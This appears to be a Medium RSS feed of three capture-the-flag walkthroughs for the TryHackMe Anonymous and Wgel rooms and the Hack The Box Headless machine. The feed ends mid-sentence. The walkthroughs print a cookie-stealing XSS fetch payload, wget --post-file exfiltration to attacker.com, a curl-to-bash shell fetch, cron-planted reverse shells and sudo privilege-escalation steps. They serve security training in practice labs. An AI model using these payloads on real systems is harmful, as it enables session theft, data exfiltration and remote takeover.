<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Harshitagarwal on Medium]]></title>
        <description><![CDATA[Stories by Harshitagarwal on Medium]]></description>
        <link>https://medium.com/@harshitagarwal1308?source=rss-3eefc7cea10c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*Rw8Xm49P3u_U1lmB</url>
            <title>Stories by Harshitagarwal on Medium</title>
            <link>https://medium.com/@harshitagarwal1308?source=rss-3eefc7cea10c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 13:10:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@harshitagarwal1308/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[WalkThrough: Anonymous (Medium) Tryhackme]]></title>
            <link>https://medium.com/@harshitagarwal1308/walkthrough-anonymous-medium-tryhackme-50989ac92c15?source=rss-3eefc7cea10c------2</link>
            <guid isPermaLink="false">https://medium.com/p/50989ac92c15</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[anonymous]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[Harshitagarwal]]></dc:creator>
            <pubDate>Mon, 22 Apr 2024 09:57:11 GMT</pubDate>
            <atom:updated>2024-04-22T09:57:11.916Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Introduction</strong></h3><p>Hello readers, Today I am going to write up the solution for the <a href="https://tryhackme.com/r/room/anonymous"><strong>Anonymous</strong></a> room, which is in the<strong> Tryhackme</strong>. It’s difficulty level is <strong>medium</strong>.So, without wasting any time, let&#39;s get started.</p><p>Link:- <a href="https://tryhackme.com/r/room/anonymous">https://tryhackme.com/r/room/anonymous</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*3x1Ia5QSiA7vWOFb5lrbJA.jpeg" /><figcaption>Anonymous</figcaption></figure><p>For starting our research, we have to do scanning and enumeration, and for that, we have to be in the network of the machine of Tryhackme, and for that, we will use the conventional technique of openvpn configuration. I hope many readers know how to set up this; if not, then you can read my earlier articles for that.</p><h3>Scanning &amp; Enumeration:</h3><p>For scanning, we will start with nmap. There is a catch here: if we do an aggressive scan,i.e., -A, then it will say the host seems down, so we can scan using only important ports, i.e.,<strong> -Pn.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*Pg3m4TiSN5M5q569H1zX5w.png" /><figcaption>nmap scanning</figcaption></figure><p>Now, after scanning, we have found there are 4 ports open, which are shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*iD7wohJ5wnL1BllP7aMQpg.png" /><figcaption>nmap scan open ports</figcaption></figure><p><strong><em>Q1) Enumerate the machine. How many ports are open?<br>Ans:- 4<br>Q2) What service is running on port 21?<br>Ans:- ftp<br>Q3) What service is running on ports 139 and 445?<br>Ans:-smb</em></strong></p><p>Now, for the 4th question, we have to <strong>enumerate the smb service</strong> that is shown open above, We have to find the shares of users,so we will use <strong>nse scripts of nmap</strong> named <strong>smb-enum-shares</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*LqsF5JWEksLP0IcsUdlrJQ.png" /><figcaption>smb enumeration</figcaption></figure><p>Here, we have found <strong>\pics</strong> shares are there.</p><p><strong><em>Q4) There’s a share on the user’s computer. What’s it called?<br>Ans:-pics</em></strong></p><p>Now there are different services running on the port, so as the name of the room suggests, <strong>anonymous</strong>, so I will start with <strong>ftp for anonymous login</strong>. Let’s find out what will happen:</p><h3><strong>Initial Access:</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/1*Zmp5keKi6mTnnWSWpZj37A.png" /><figcaption>ftp anonymous login</figcaption></figure><p>From the above results, we can see that ftp-anonymous login is successful. Now we can see how much we can access through the anonymous login we have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*ftwoSqdRqsrvReHt4TfWow.png" /><figcaption>ftp anonymous enumeration</figcaption></figure><p>Here, we can see we have different files under <strong>scripts</strong> directory so let’s see what is inside them.</p><p><em>If we normally cat the files, it may allow them to run, but we can download the files in our local system to view what is inside them.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*10yTt8JeUjr0U6r-4_5wJw.png" /><figcaption>clean.sh</figcaption></figure><p>For clean.sh , it is showing that some script is running which is removing data under <strong>removed_files.log.</strong></p><p>Now we can move to the next file,i.e., remove _files.log</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*BPLX8HAzTTz8dLTutYx5ew.png" /></figure><p>By this, we can find <strong>clean.sh</strong> is running continuously in order to delete the log under removed_files.log, so this may be done by <strong>cron jobs.</strong></p><p><strong>So we can create another clean.sh file with a reverse shell this time and put it in the same scripts directory so that cron jobs will run that script as well, and we will listen to the request in order to get the reverse shell in the netcat command.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*wIlYX7FBekv2hm-Kjmz9Qg.png" /><figcaption>reverse shell script creation</figcaption></figure><p>Here, we have put the reverse shell script in the new clean.sh file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eidP_wTPCj53CSLDSiaIJA.png" /><figcaption>putting the clean.sh file</figcaption></figure><p>After putting the clean.sh file with the reverse shell, we will now listen to the response using the <strong>netcat</strong> command on the same port, and then we will get access to the reverse shell when the <strong>cron jobs</strong> run that clean.sh file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*f-MojQRsANyq2-yn6OQ97A.png" /><figcaption>netcat listening</figcaption></figure><p>As we can see, we have reverse shell access.</p><p>Now we can easily find the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*fhGUZBh8ayIu3pEf4JQYvw.png" /><figcaption>user_flag</figcaption></figure><p><strong><em>Q5) user.txt<br>Ans:-90d6f992585815ff991e68748c414740</em></strong></p><h3>Privilege Escalation:</h3><p>For privilege escalation, I have tried <strong>sudo -l</strong>, but it didn’t work. Then I tried to upload <strong>linpeas.sh</strong> to automatically find the privileged file with root access.</p><p>For uploading<strong> linpeas.sh</strong>, first we have to host a <strong>Python server </strong>where the <strong>linpeas</strong>.<strong>sh </strong>script is present, then we can get that script in the reverse shell by running the <strong>wget </strong>command on the same port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*i8hxHuZUHSmrs4iE8fvWvg.png" /><figcaption>python server hosting</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*MEVSqsMv0ucYZFuK47KepQ.png" /><figcaption>uploading linpeas.sh</figcaption></figure><p>After successfully uploading linpeas.sh, we will run it in the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*Zk93mgINJ0RivJ9DwrSklA.png" /><figcaption>running linpeas.sh</figcaption></figure><p>After running linpeas.sh in the results, we will find an interesting pathway that has root access; we can run it as a normal user,i.e., <strong>/usr/bin/env.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q7BpeYtIbeYxgnnfSTTHIg.png" /><figcaption>linpeas.sh results</figcaption></figure><p>Now we can go to the <strong>gtfobins</strong> to find the command to get the privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*r6hIhOEQR-2iRyb1YEhdLA.png" /></figure><p>Now, we can easily escalate our privileges just by giving the <strong>actual location of the./env file</strong> in the reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*Rh7dOJpJ6-tTdBf_gVwKZw.png" /><figcaption>privilege escalation</figcaption></figure><p>Now, we can clearly see that we have escalated our privileges and gotten root access.</p><p><strong><em>Q6) root.txt?<br>Ans:-4d930091c31a622a7ed10f27999af363</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/279/1*hBjSBJwAWWrVsOs5VNdQEQ.png" /><figcaption>root flag</figcaption></figure><p>This is the end of this write-up. I hope you will get a better clearance for the solution. Stay tuned and I will come back soon with new things.</p><p><strong>Happy Hacking!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50989ac92c15" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WalkThrough: wgel CTF(TryHackMe)]]></title>
            <link>https://medium.com/@harshitagarwal1308/walkthrough-wgel-ctf-tryhackme-a1ee4ebd5c9e?source=rss-3eefc7cea10c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1ee4ebd5c9e</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Harshitagarwal]]></dc:creator>
            <pubDate>Thu, 04 Apr 2024 06:50:21 GMT</pubDate>
            <atom:updated>2024-04-04T18:51:57.688Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*Fww6uEBzFJBQHicYabNEoQ.jpeg" /></figure><h3>Introduction</h3><p>The “<strong>Wgel CTF</strong>” room on <strong>TryHackMe</strong> is a capture-the-flag (CTF) challenge designed to test your penetration testing and cybersecurity skills. In this room, the objective is to capture both the <strong>user flag</strong> and the <strong>root flag</strong> by gaining unauthorized access to the system and then escalating privileges to achieve root access. Through a series of challenges, participants will explore various aspects of cybersecurity, including enumeration, exploitation, privilege escalation, and more. By completing this room, participants will enhance their understanding of common security vulnerabilities and learn how to effectively exploit them. Let’s dive into the walkthrough to see how to accomplish these tasks.</p><p>Link:- <a href="https://tryhackme.com/r/room/wgelctf">https://tryhackme.com/r/room/wgelctf</a></p><p>To begin, you’ll need to establish a connection to the TryHackMe network using <strong>OpenVPN</strong>. Start by downloading the <strong>VPN configuration file</strong> provided by TryHackMe. Once downloaded, open a terminal window and navigate to the directory where the configuration file is saved. Then, use the following command to initiate the VPN connection:</p><pre>sudo openvpn &lt;your_config_file_name.ovpn&gt;</pre><p>Replace `&lt;your_config_file_name.ovpn&gt;` with the name of the configuration file you downloaded. This command will prompt you to enter your<strong> sudo password</strong>. After entering the password, the OpenVPN connection will be established, and you’ll be connected to the TryHackMe network. Now, you’re ready to proceed with accessing the Wgel CTF room.</p><h3>Scanning</h3><p>To initiate the scanning process, we’ll be using <strong>Nmap</strong>, a powerful network scanning tool. The command we’ll use is:</p><pre>nmap -Pn -sV &lt;IP&gt;</pre><p>By executing this command, Nmap will scan the target system, <strong>identifying open ports</strong> and attempting to determine the <strong>versions of services running</strong> on those ports. This information will be invaluable for the subsequent steps of the penetration testing process.</p><p><strong>Scanning Results</strong>: After scanning the target system, we found that two ports are open: <strong>port 22 (SSH)</strong> and <strong>port 80 (HTTP)</strong>. Port 22 is running an OpenSSH service, while port 80 hosts an Apache server. These services provide potential entry points for further investigation.</p><p>Next Steps: Our focus now shifts to exploring both the SSH service on port 22 and the Apache server on port 80. We’ll search for vulnerabilities that could be exploited to gain unauthorized access to the system and escalate privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*hLB126Ri9eNWRl4uWyNe2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*YYKbhIWKbApKhQ-H-8hLLA.png" /></figure><p><strong>Directory Fuzzing</strong>: Now that we’ve identified an Apache server running on port 80, it’s time to perform directory fuzzing to uncover hidden directories and files that may contain valuable information or potential vulnerabilities. We’ll be using <strong>Dirsearch</strong>, a popular directory brute-forcing tool.</p><p>To initiate the directory fuzzing process, execute the following command:</p><pre>dirsearch -u &lt;IP&gt;</pre><p>Replace &lt;IP&gt; with the IP address of the target machine. This command will instruct <strong>Dirsearch </strong>to fuzz the target URL for directories and files, attempting to discover any hidden paths that could be exploited.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*lAy8mJYE5sm89qfBXOhsgw.png" /></figure><p><strong>Directory Fuzzing Results</strong>: Upon running Dirsearch on the target web server, we discovered a directory named “<strong>sitemap</strong>.” This finding indicates the existence of a sitemap on the server, which could contain valuable information about the structure and organization of the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*Pt8GzU3mRyUZnC8Dy3Dh7g.png" /></figure><p><strong>Exploring the Sitemap Directory</strong>: Our initial scan revealed the presence of a directory named “/sitemap,” which immediately piqued our interest. To delve deeper into its contents, we utilized Dirsearch with the following command:</p><pre>dirsearch -u http://&lt;IP&gt;/sitemap/</pre><p>By executing this command, we aimed to enumerate the contents of the “sitemap” directory, hoping to uncover valuable information about the website’s structure and potentially identify hidden paths or files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*_SCzl6DCC-7kRFdGZw0vSA.png" /></figure><p><strong>Uncovering the .ssh Directory</strong>: Our directory fuzzing efforts led us to an intriguing find — a directory named “.<strong>ssh</strong>.” This discovery is particularly noteworthy as the “.ssh” directory commonly houses sensitive configuration files and authentication keys used for SSH connections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*GXjN08QpnvNylTS47qjV6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XUazHtrcj7hkD3Nkhxn9rw.jpeg" /></figure><p><strong>Discovering the RSA Private Key:</strong> Upon exploring the “.ssh” directory further, we stumbled upon a significant discovery — an<strong> RSA private key</strong>. This finding is of paramount importance as RSA private keys are used for authentication in SSH connections. Acquiring this key potentially grants us <strong>easier access</strong> to the system, bypassing authentication barriers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*oDdB7mn84jznQ-UPDKS7Xg.jpeg" /></figure><p><strong>Identifying Potential User Name:</strong> During our initial exploration of the website, we uncovered a potential lead hidden within the <strong>code comments</strong>. Specifically, we encountered a code comment referring to a username, “<strong>jessie</strong>.” This discovery suggests that “<strong>jessie</strong>” may be a valid username associated with the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qA2-uL1B_jO8KzqJljZQ8w.jpeg" /></figure><h3>Getting the initial access</h3><p><strong>Preparing RSA Private Key for SSH Connection:</strong> With the RSA private key in our possession, our next step is to prepare it for use in establishing an SSH connection to the target system. We’ll start by <strong>copying the RSA private key to a file</strong> and then set the appropriate permissions to ensure its security.</p><ol><li>Copy RSA Private Key to a File:</li></ol><pre>echo &quot;&lt;RSA_PRIVATE_KEY&gt;&quot; &gt; ssh_key</pre><p>Replace &lt;RSA_PRIVATE_KEY&gt; with the content of the RSA private key you discovered.</p><p>2.Set Permissions for the Key File:</p><pre>chmod 600 ssh_key</pre><p>This command restricts access to the key file to ensure its confidentiality and integrity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/191/1*_Uf8zmbZ2fXrwp-xQojZnw.png" /></figure><p><strong>Establishing SSH Connection:</strong> Now that we’ve prepared the RSA private key, we’ll use it to initiate an SSH connection to the target system using the identified username “<strong>jessie</strong>” and the target system’s IP address.</p><pre>ssh -i ssh_key jessie@&lt;IP&gt;</pre><p>Replace &lt;IP&gt; with the IP address of the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/1*gj6GDfM8yV4w0O2eFCPxug.png" /></figure><h3>Getting the user flag:</h3><p><strong>Locating the User Flag:</strong> With successful access to the target system through SSH using the identified username “jessie” and the RSA private key, our next objective is to locate the user flag. We can employ various methods, including simple file search commands, to identify the location of the user flag within the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*ki3qE2EhPW6kUONrl8oEkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*kgiwXf3UeSPGbiXQVhBzsA.png" /></figure><p><strong>057c67131c3d5e42dd5cd3075b198ff6</strong></p><h3>Getting the root flag:</h3><p><strong>Privilege Escalation:</strong> After securing the user flag, we move on to privilege escalation. Our first step is to check the sudo permissions for the user “jessie” using the command:</p><pre>sudo -l</pre><p>This command reveals any commands that “jessie” is allowed to execute with elevated privileges. We’ll analyze the output to identify potential opportunities for privilege escalation and devise a strategy accordingly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*AwLgBYzqnDzj8w_NsBBu2g.png" /></figure><p><strong>Exploiting Vulnerability with GTFOBins: </strong>Having identified the vulnerability in /usr/bin/wget, we turn to <strong>GTFOBins </strong>to find specific commands for exploiting it. By searching GTFOBins for wget, we&#39;ll analyze the results to select an appropriate command for privilege escalation.</p><p><strong>Exploiting File Upload Vulnerability:</strong> With the identified vulnerability allowing file upload capability, we can exploit it to <strong>exfiltrate files to a network URL</strong>. Utilizing wget with the --post-file option, we can upload files to the specified URL as follows:</p><pre>URL=http://attacker.com/<br>LFILE=file_to_send<br>wget --post-file=$LFILE $URL</pre><p>Replace file_to_send with the name of the file you intend to exfiltrate and http://attacker.com/ with the URL where you want to send the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*ncstbKR4hKWXa4CJFWkSrg.png" /></figure><p><strong>Exploiting Vulnerability with sudo Wget and Netcat:</strong> To leverage the vulnerability and exfiltrate sensitive files, we’ll use sudo with wget to upload the root flag file to a specified IP address and listening port. Additionally, we&#39;ll utilize netcat to listen for incoming requests on the designated port.</p><pre>sudo /usr/bin/wget --post-file=/root/root_flag.txt http://&lt;ip&gt;:&lt;listening_port&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*gGAj0_nq003CKEl5qAMqiw.png" /></figure><p>Replace &lt;ip&gt; with the attacker&#39;s IP address and &lt;listening_port&gt; with the desired listening port.</p><p>To listen for incoming requests, run:</p><pre>nc -lvnp &lt;listening_port&gt;</pre><p>Ensure the &lt;listening_port&gt; matches the port specified in the wget command.</p><p><strong>Discovering the Root Flag:</strong> Upon listening for incoming requests using netcat on the specified port, we directly receive the root flag. This indicates a successful exploitation of the vulnerability, allowing us to obtain privileged access to the system without requiring further actions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*Kc1buekGsdf3W9Gs76gTHg.png" /></figure><p><strong>b1b968b37519ad1daa6408188649263d</strong></p><p>Thanks for reading, we will meet in another story!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1ee4ebd5c9e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Walkthrough: Headless (Hack The Box: Season 4)]]></title>
            <link>https://medium.com/@harshitagarwal1308/walkthrough-headless-hack-the-box-season-4-3f9dcc67211e?source=rss-3eefc7cea10c------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f9dcc67211e</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Harshitagarwal]]></dc:creator>
            <pubDate>Wed, 03 Apr 2024 13:02:28 GMT</pubDate>
            <atom:updated>2024-04-03T18:13:45.743Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*fVaxK33B-8Du_jgBims1Kg.png" /></figure><h3>Introduction:</h3><p>Embark on a thrilling journey through the virtual labyrinth of cybersecurity with Hack The Box’s enigmatic machine, “Headless.” In this concise walkthrough, we’ll navigate the twists and turns of Headless, unraveling its secrets and conquering its challenges. Get ready to dive deep into the realm of ethical hacking as we decode the mysteries of Headless and emerge victorious.</p><p>Link:-<a href="https://app.hackthebox.com/machines/Headless">https://app.hackthebox.com/machines/Headless</a></p><p>In our quest through Headless, our primary objective is to secure both the user and root flags. Initially, we focus on capturing the user flag, employing reconnaissance and exploitation techniques to navigate through its defenses. Once achieved, we pivot towards obtaining the root flag, delving deeper into the system’s architecture and privileges, ultimately demonstrating our mastery in cybersecurity by conquering Headless from within.</p><p>To align our Kali machine with Hack The Box’s network, we’ll download the <strong>OpenVPN configuration file</strong> provided by Hack The Box. With the file downloaded, we can establish a connection to the network using the command “<strong>sudo openvpn &lt;filename&gt;</strong>”. This action will ensure that our machine is within the same IP range as Hack The Box, facilitating seamless interaction and exploration of the challenges presented within their environment.</p><pre>sudo openvpn &lt;filename&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CU8lx2h8k770LDnnC5cvWw.png" /></figure><h3>Scanning:-</h3><p>Once connected via <strong>OpenVPN</strong> to Hack The Box’s network, our next step is to conduct a comprehensive scan of the provided network using the <strong>Nmap</strong> tool. We’ll execute the command “<strong>nmap -Pn -sV &lt;IP&gt; -v</strong>”, where &lt;IP&gt; represents the IP range assigned within the network. This scan will provide us with valuable information about the devices and services running on the network, enabling us to identify potential targets and vulnerabilities for further exploration and exploitation.</p><pre>nmap -Pn -sV &lt;IP&gt; -v</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*J6Rf9QrsnnFdb8nqNn1k_g.png" /></figure><p>Following the network scan, we’ve identified <strong>open ports 22 and 5000</strong>, hosting <strong>SSH</strong> and <strong>UPnP </strong>services, respectively. SSH (Secure Shell) allows secure remote access to the system, while UPnP (Universal Plug and Play) facilitates device discovery and communication within the network. With this information, we can proceed to assess the security configurations of these services, searching for potential vulnerabilities to exploit in our quest to advance further into the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*xZguSqJn42EYyQamnP50_Q.png" /></figure><p>Given the vulnerability associated with <strong>UPnP</strong>, there’s a high likelihood of encountering something suspicious or potentially malicious on port 5000. UPnP implementations have historically been prone to security flaws, making them attractive targets for exploitation. Therefore, we should <strong>prioritize investigating</strong> the UPnP service to uncover any potential vulnerabilities or malicious activities that could pose a threat to the network’s integrity. This could involve further analysis using specialized tools or manual inspection to identify and mitigate any risks associated with the service.</p><h3>Directory Fuzzing:-</h3><p>With our focus on the potentially vulnerable UPnP service on port 5000, our next step is to conduct directory fuzzing to uncover any interesting paths or endpoints within the web application running on this port. Directory fuzzing involves systematically probing the web server for hidden or undocumented directories, files, or endpoints that may contain valuable information or serve as potential entry points for exploitation.</p><p>We can utilize tools like DirBuster, DirSearch, or Gobuster to perform this task. By brute-forcing directory and file names, we aim to discover any hidden resources that could lead us to sensitive information or vulnerabilities within the UPnP service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kzta2g7oRr-kjMvSWzPDTg.png" /></figure><p>Absolutely, we’ll leverage DirSearch for directory fuzzing on port 5000, targeting the UPnP service. The command “<strong>dirsearch -u &lt;IP&gt;:5000</strong>” will initiate the directory fuzzing process, systematically probing the web server for hidden directories and files that could be of interest. This methodical approach allows us to thoroughly explore the web application running on port 5000, potentially uncovering valuable information or entry points for further investigation and exploitation. Let’s execute the command and analyze the results to determine our next course of action.</p><pre>dirsearch -u &lt;IP&gt;:5000</pre><p>Upon conducting directory fuzzing using DirSearch, we’ve discovered two interesting directories: “<strong>dashboard</strong>” and “<strong>support</strong>”. The “dashboard” directory returns a <strong>status code of 401</strong>, indicating that it requires authentication for access. Conversely, the “support” directory returns a <strong>status code of 200</strong>, indicating that it is accessible without authentication. This suggests that the “support” directory may contain valuable information or functionalities that could be exploited further. We should proceed to investigate the contents of the “support” directory to ascertain its significance and potential implications for our penetration testing efforts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7kYv6l5q5vRJNVORp9lZ_Q.png" /></figure><p>Now that we have identified the accessible “<strong>support</strong>” directory, our next step is to explore its contents to uncover any potentially valuable information or functionalities. We’ll navigate to the “support” directory and examine its contents, including any files, directories, or web pages present.</p><p>After discovering a form section in the “support” directory, we suspect it might be vulnerable to <strong>cross-site scripting (XSS) attacks</strong>. To exploit this vulnerability, we’ll inject various<strong> XSS payloads</strong> into the form fields, such as script tags or event handlers, to execute JavaScript code within the web application. By testing different payloads, we aim to assess the vulnerability’s severity and potential impact on the application’s security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cOevzb3__--IerY8vygxlg.png" /></figure><h3><strong>Getting the cookies:-</strong></h3><p>After intercepting the request in <strong>Burp Suite</strong>, we’ve discovered an “<strong>is_admin</strong>” <strong>cookie</strong>, which piques our interest. This cookie suggests the existence of an authentication mechanism, possibly for admin privileges. To exploit this, we can employ various XSS payloads to manipulate the “is_admin” cookie value, potentially gaining unauthorized access as an admin. By injecting different XSS payloads, we aim to manipulate the cookie and escalate our privileges within the application. Let’s proceed with testing these payloads to ascertain if we can successfully manipulate the “is_admin” cookie and gain admin-level access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zN_IJWTAVJNIgJQxdS9lEA.png" /></figure><p>During the intercept process in Burp Suite, we systematically injected various XSS payloads to test their effectiveness. After several attempts, we discovered that the “<strong>User-Agent</strong>” option responded positively to the payload “<strong>&lt;script&gt; alert(0)&lt;/script&gt;</strong>”. This indicates that the application is vulnerable to XSS attacks through the “<strong>User-Agent</strong>” field. By injecting malicious scripts into the “<strong>User-Agent</strong>” header, we can potentially execute arbitrary JavaScript code within the application, posing a security risk that warrants further investigation and remediation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VK1Ym8-XgMZOlSCAuzZrrQ.png" /></figure><p>After conducting research online, I found and implemented the payload “<strong>&lt;img src=x onerror=fetch(‘http://&lt;YourIP&gt;/?c=’+document.cookie);&gt;</strong>”. This payload is designed to exploit the XSS vulnerability by embedding an image tag with an “onerror” attribute. When the image fails to load, the “onerror” event triggers, executing JavaScript code to fetch the user’s cookies and send them to a specified endpoint, which in this case is your IP address. This payload allows us to potentially steal the user’s cookies and escalate our attack further.</p><pre>&lt;img src=x onerror=fetch(&#39;http://&lt;YourIP&gt;/?c=&#39;+document.cookie);&gt;</pre><p>Having injected the payload “<strong>&lt;img src=x onerror=fetch(‘http://&lt;YourIP&gt;/?c=’+document.cookie);&gt;</strong>” into the “<strong>User-Agent</strong>” field via Burp Suite, we set up a Python server to capture the response. Using the command “<strong>python3 -m http.server 80</strong>”, we establish a server to intercept the incoming requests. Now, when attempting to access the dashboard page, any intercepted requests containing the user’s cookies will be sent to our server</p><pre>python3 -m http.server 80</pre><p>Excellent! Successfully intercepting and capturing the admin cookies via the Python server signifies a critical breakthrough in our penetration testing efforts. <strong>With the admin cookies in hand</strong>, we now possess privileged access to the application, enabling us to perform actions reserved for administrators.</p><p><strong>ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*rRW5pbYorJEDLuhVjUsc1Q.png" /></figure><p>Now equipped with the admin cookies, we have the means to gain initial access to the dashboard directory. By leveraging the privileges granted by these cookies, we can navigate to the dashboard section of the application and explore its contents. This access potentially grants us insight into sensitive information, administrative controls, or additional vulnerabilities within the dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N354FuZzw9rsy4AYd5uhOw.png" /></figure><h3>Using the cookies:-</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ahnnwcpykuVXBWSDDMPkmw.png" /></figure><p>With the admin cookies from the intercepted response, we access the <strong>dashboard directory</strong>, bypassing restrictions. This grants us privileged insights and control within the application, enhancing our penetration testing capabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MKqHMPfVaA4fqwf5h_PpFQ.png" /></figure><h3>Gaining Access:-</h3><p>To establish a connection with our machine, we’ll initiate a connection using Netcat. Using the command “<strong>nc -lvnp &lt;port&gt;</strong>”, we’ll set up Netcat to listen for incoming connections on a specified port. Once the connection is established, we can interact with the remote machine, execute commands, and transfer files as needed. Let’s start the Netcat listener and await the connection from the remote machine.</p><pre>nc -lvnp &lt;port&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/255/1*4UNKNk4jaMraRbWiCECnfg.png" /></figure><p>If our attempt to establish a connection by intercepting the packet isn’t successful, we should double-check the intercepted packet for accurate IP addresses and port numbers.</p><p>Running the command “<strong>curl http://&lt;YourIP&gt;/shell.sh | bash</strong>” executes a script (shell.sh) fetched from a remote server directly using bash.</p><pre>curl http://&lt;YourIP&gt;/shell.sh | bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mOluqVWup9wHpPjikPg5ag.png" /></figure><p>Indeed, before using `<strong>curl</strong>`, we typically generate a reverse shell using <strong>hack tools extension</strong>. This shell is tailored to connect back to our machine, acting as a reverse shell. We provide <strong>our machine’s IP address</strong> and the <strong>port on which we’ll be listening for incoming connections</strong>. Once the payload is generated and executed on the target system, it establishes a connection back to our machine, providing us with a shell with which we can interact with the target system. This method enables remote control and exploitation of the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*1ydFc_cdzsMjXzQamh1nrw.png" /></figure><p>To deploy the shell.sh script, we set up a <strong>Python HTTP</strong> server hosting the file. Once running, on the target machine, we use `<strong>curl</strong>` to fetch and execute the script via `<strong>bash</strong>`. This command retrieves the shell.sh file from our server and runs it. If the script contains a reverse shell payload configured to connect back to our machine, it establishes a reverse shell connection, granting us access to the target machine. Ensure the <strong>netcat listener is ready to receive connections</strong> on the specified port for successful interaction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*lYPIGw6YDSQO4iHoRGbtqg.png" /></figure><p>With <strong>Bash access gained</strong> through the Netcat listener, 